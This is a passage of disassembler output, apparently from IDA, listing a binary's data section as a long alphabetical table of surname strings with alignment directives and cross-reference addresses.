aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E254o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E250o
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E24Co
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E248o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E244o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E240o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E23Co
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E238o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E234o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042E230o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E22Co
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E228o
		align 10h
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E224o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E220o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E21Co
		align 10h
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E218o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E214o
		align 10h
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E210o
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E20Co
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E208o
		align 10h
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E204o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E200o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E1FCo
		align 10h
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E1F8o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E1F4o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E1F0o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E1ECo
		align 10h
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E1E8o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E1E4o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E1E0o
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E1DCo
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E1D8o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E1D4o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E1D0o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E1CCo
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E1C8o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E1C4o
aJay		db 'Jay',0              ; DATA XREF: ___:0042E1C0o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E1BCo
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E1B8o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E1B4o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E1B0o
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042E1ACo
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E1A8o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E1A4o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E1A0o
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E19Co
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E198o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E194o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E190o
		align 10h
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E18Co
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E188o
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E184o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E180o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E17Co
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E178o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E174o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E170o
		align 10h
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E16Co
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E168o
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E164o
		align 10h
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E160o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E15Co
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E158o
		align 10h
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E154o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E150o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E14Co
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E148o
		align 10h
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E144o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E140o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E13Co
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E138o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E134o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E130o
		align 10h
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E12Co
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E128o
		align 10h
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E124o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E120o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E11Co
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E118o
		align 10h
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E114o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E110o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E10Co
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042E108o
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E104o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E100o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E0FCo
		align 10h
aHind		db 'Hind',0             ; DATA XREF: ___:0042E0F8o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E0F4o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E0F0o
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E0ECo
aHester		db 'Hester',0           ; DATA XREF: ___:0042E0E8o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E0E4o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E0E0o
		align 10h
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E0DCo
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042E0D8o
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E0D4o
		align 10h
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E0D0o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E0CCo
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E0C8o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E0C4o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E0C0o
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E0BCo
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E0B8o
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E0B4o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E0B0o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E0ACo
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E0A8o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E0A4o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E0A0o
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E09Co
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E098o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E094o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E090o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E08Co
		align 10h
aHarding	db 'Harding',0          ; DATA XREF: ___:0042E088o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E084o
aHand		db 'Hand',0             ; DATA XREF: ___:0042E080o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E07Co
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E078o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E074o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E070o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E06Co
		align 10h
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E068o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E064o
		align 10h
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E060o
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E05Co
aHaar		db 'Haar',0             ; DATA XREF: ___:0042E058o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042E054o
		align 10h
aGuo		db 'Guo',0              ; DATA XREF: ___:0042E050o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E04Co
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E048o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E044o
		align 10h
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E040o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E03Co
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E038o
		align 10h
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E034o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E030o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E02Co
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E028o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E024o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E020o
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E01Co
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042E018o
		align 10h
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E014o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E010o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042E00Co
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042E008o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042E004o
aGist		db 'Gist',0             ; DATA XREF: ___:0042E000o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DFFCo
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042DFF8o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DFF4o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DFF0o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DFECo
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DFE8o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DFE4o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DFE0o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DFDCo
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DFD8o
		align 10h
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DFD4o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DFD0o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DFCCo
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DFC8o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DFC4o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DFC0o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DFBCo
		align 10h
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DFB8o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DFB4o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DFB0o
		align 10h
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DFACo
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DFA8o
		align 10h
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DFA4o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DFA0o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DF9Co
		align 10h
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DF98o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DF94o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DF90o
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DF8Co
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DF88o
		align 10h
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DF84o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DF80o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DF7Co
		align 10h
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DF78o
		align 10h
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DF74o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DF70o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DF6Co
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DF68o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DF64o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DF60o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DF5Co
		align 10h
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DF58o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DF54o
		align 10h
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DF50o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DF4Co
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DF48o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DF44o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DF40o
aFink		db 'Fink',0             ; DATA XREF: ___:0042DF3Co
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DF38o
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042DF34o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DF30o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DF2Co
		align 10h
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DF28o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DF24o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DF20o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DF1Co
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DF18o
		align 10h
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DF14o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DF10o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DF0Co
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DF08o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DF04o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DF00o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DEFCo
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DEF8o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DEF4o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DEF0o
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DEECo
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DEE8o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DEE4o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DEE0o
		align 10h
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DEDCo
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DED8o
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042DED4o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DED0o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DECCo
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DEC8o
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DEC4o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DEC0o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DEBCo
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DEB8o
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DEB4o
		align 10h
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DEB0o
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DEACo
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DEA8o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DEA4o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DEA0o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DE9Co
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DE98o
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DE94o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DE90o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DE8Co
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DE88o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DE84o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DE80o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DE7Co
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DE78o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DE74o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DE70o
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DE6Co
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DE68o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DE64o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042DE60o
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DE5Co
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DE58o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DE54o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DE50o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DE4Co
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DE48o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DE44o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DE40o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DE3Co
		align 10h
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DE38o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DE34o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DE30o
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DE2Co
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DE28o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DE24o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DE20o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DE1Co
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DE18o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DE14o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DE10o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DE0Co
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DE08o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DE04o
		align 10h
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DE00o
		align 10h
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DDFCo
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DDF8o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DDF4o
		align 10h
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DDF0o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DDECo
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDE8o
		align 10h
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DDE4o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DDE0o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DDDCo
aDavid		db 'David',0            ; DATA XREF: ___:0042DDD8o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DDD4o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DDD0o
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DDCCo
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDC8o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DDC4o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042DDC0o
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DDBCo
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DDB8o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DDB4o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042DDB0o
		align 10h
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042DDACo
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042DDA8o
		align 10h
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042DDA4o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042DDA0o
		align 10h
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042DD9Co
aCui		db 'Cui',0              ; DATA XREF: ___:0042DD98o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042DD94o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042DD90o
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042DD8Co
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042DD88o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042DD84o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042DD80o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042DD7Co
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042DD78o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042DD74o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042DD70o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042DD6Co
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042DD68o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042DD64o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042DD60o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042DD58o
					; ___:0042DD5Co
aCollis		db 'Collis',0           ; DATA XREF: ___:0042DD54o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042DD50o
aColella	db 'Colella',0          ; DATA XREF: ___:0042DD4Co
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042DD48o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042DD44o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042DD40o
aClow		db 'Clow',0             ; DATA XREF: ___:0042DD3Co
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042DD38o
aClement	db 'Clement',0          ; DATA XREF: ___:0042DD34o
aClark		db 'Clark',0            ; DATA XREF: ___:0042DD30o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042DD2Co
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042DD28o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042DD24o
		align 10h
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042DD20o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042DD1Co
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042DD18o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042DD14o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042DD10o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042DD0Co
aChristie	db 'Christie',0         ; DATA XREF: ___:0042DD08o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042DD04o
		align 10h
aChristian	db 'Christian',0        ; DATA XREF: ___:0042DD00o
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042DCFCo
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042DCF8o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042DCF4o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042DCF0o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042DCECo
		align 10h
aChien		db 'Chien',0            ; DATA XREF: ___:0042DCE8o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042DCE4o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042DCE0o
		align 10h
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042DCDCo
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042DCD8o
		align 10h
aCharles	db 'Charles',0          ; DATA XREF: ___:0042DCD4o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042DCD0o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042DCCCo
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042DCC8o
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042DCC4o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042DCC0o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042DCBCo
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DCB8o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042DCB4o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DCB0o
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DCACo
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DCA8o
		align 10h
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DCA4o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DCA0o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DC9Co
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DC98o
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DC94o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DC90o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DC8Co
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DC88o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DC84o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DC80o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DC7Co
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DC78o
		align 10h
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DC74o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DC70o
		align 10h
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DC6Co
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DC68o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DC64o
		align 10h
aCage		db 'Cage',0             ; DATA XREF: ___:0042DC60o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DC5Co
		align 10h
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DC58o
		align 4
